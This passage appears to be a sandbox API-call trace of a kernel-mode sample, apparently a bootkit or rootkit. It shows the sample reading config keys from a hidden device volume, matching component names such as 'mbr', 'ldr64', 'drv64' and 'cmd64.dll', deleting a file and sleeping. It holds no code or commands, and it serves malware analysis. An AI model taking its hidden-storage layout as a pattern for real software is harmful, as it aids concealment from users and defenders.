FastMutex=0xfffffa80027d3898) [0126.106] KeLeaveCriticalRegion () [0126.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.106] ReleaseMutex (hMutex=0xf0) returned 1 [0126.106] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.106] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.107] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.107] KeEnterCriticalRegion () [0126.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.107] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.107] IdePortDispatch () returned 0x103 [0126.107] KeWaitForMutexObject () returned 0x0 [0126.107] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.107] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.107] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.107] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.107] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.107] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da2d0 [0126.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.107] KeLeaveCriticalRegion () [0126.107] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.107] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.107] KeEnterCriticalRegion () [0126.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.107] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.107] KeLeaveCriticalRegion () [0126.107] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.107] KeEnterCriticalRegion () [0126.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.107] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.107] IdePortDispatch () returned 0x103 [0126.107] KeWaitForMutexObject () returned 0x0 [0126.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.108] KeLeaveCriticalRegion () [0126.108] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.108] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.108] KeEnterCriticalRegion () [0126.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.108] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a8000 [0126.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.108] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.108] IdePortDispatch () returned 0x103 [0126.108] KeWaitForMutexObject () returned 0x0 [0126.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.108] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.108] IdePortDispatch () returned 0x103 [0126.108] KeWaitForMutexObject () returned 0x0 [0126.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.108] KeLeaveCriticalRegion () [0126.108] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.109] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.109] KeEnterCriticalRegion () [0126.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.109] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.109] KeLeaveCriticalRegion () [0126.109] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.109] KeEnterCriticalRegion () [0126.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.109] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.109] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.109] KeLeaveCriticalRegion () [0126.109] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.109] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.109] KeEnterCriticalRegion () [0126.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.109] ExFreePoolWithTag (P=0xfffffa80037da2d0, Tag=0x0) [0126.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.109] KeLeaveCriticalRegion () [0126.109] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.109] ReleaseMutex (hMutex=0xf0) returned 1 [0126.109] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.109] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.109] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.109] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.109] KeEnterCriticalRegion () [0126.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.109] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.109] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.109] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.110] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.110] IdePortDispatch () returned 0x103 [0126.110] KeWaitForMutexObject () returned 0x0 [0126.110] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.110] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.110] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.110] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.110] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.110] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.110] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.110] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.110] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.110] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.110] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.110] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.110] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.110] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.110] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.110] KeLeaveCriticalRegion () [0126.110] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.110] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.110] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.110] KeEnterCriticalRegion () [0126.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.110] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.110] IdePortDispatch () returned 0x103 [0126.110] KeWaitForMutexObject () returned 0x0 [0126.111] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.111] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.111] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.111] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.111] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.111] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.111] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.111] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.111] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.111] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.111] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.111] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.111] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.111] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.111] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.111] KeLeaveCriticalRegion () [0126.111] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.111] ReleaseMutex (hMutex=0x100) returned 1 [0126.111] Sleep (dwMilliseconds=0x2bf20) [0126.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e5f64b0, dwHighDateTime=0x1d24fa4)) [0126.118] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.118] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.118] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.118] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.118] KeEnterCriticalRegion () [0126.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.118] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.118] IdePortDispatch () returned 0x103 [0126.118] KeWaitForMutexObject () returned 0x0 [0126.118] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.118] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.118] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.119] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.119] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.119] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1260 [0126.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.119] KeLeaveCriticalRegion () [0126.119] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.119] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.119] KeEnterCriticalRegion () [0126.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.119] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.119] KeLeaveCriticalRegion () [0126.119] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.119] KeEnterCriticalRegion () [0126.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.119] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.119] IdePortDispatch () returned 0x103 [0126.119] KeWaitForMutexObject () returned 0x0 [0126.119] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.119] KeLeaveCriticalRegion () [0126.119] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.119] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.119] KeEnterCriticalRegion () [0126.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.119] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ab000 [0126.119] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.119] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.119] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.119] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.119] IdePortDispatch () returned 0x103 [0126.119] KeWaitForMutexObject () returned 0x0 [0126.120] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.120] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.120] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.120] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.120] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.120] IdePortDispatch () returned 0x103 [0126.120] KeWaitForMutexObject () returned 0x0 [0126.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.120] KeLeaveCriticalRegion () [0126.120] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.120] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.120] KeEnterCriticalRegion () [0126.120] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.120] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.120] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.120] KeLeaveCriticalRegion () [0126.121] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.121] KeEnterCriticalRegion () [0126.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.121] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.121] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.121] KeLeaveCriticalRegion () [0126.121] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.121] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.121] KeEnterCriticalRegion () [0126.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.121] ExFreePoolWithTag (P=0xfffffa80037e1260, Tag=0x0) [0126.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.121] KeLeaveCriticalRegion () [0126.121] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.121] ReleaseMutex (hMutex=0xf0) returned 1 [0126.121] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.121] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.121] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.121] KeEnterCriticalRegion () [0126.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.121] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.121] IdePortDispatch () returned 0x103 [0126.121] KeWaitForMutexObject () returned 0x0 [0126.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.121] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.121] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.121] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.121] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.121] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037dd5d0 [0126.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.121] KeLeaveCriticalRegion () [0126.121] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.122] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.122] KeEnterCriticalRegion () [0126.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.122] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.122] KeLeaveCriticalRegion () [0126.122] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.122] KeEnterCriticalRegion () [0126.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.122] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.122] IdePortDispatch () returned 0x103 [0126.122] KeWaitForMutexObject () returned 0x0 [0126.122] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.122] KeLeaveCriticalRegion () [0126.122] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.122] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.122] KeEnterCriticalRegion () [0126.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.122] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ac000 [0126.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 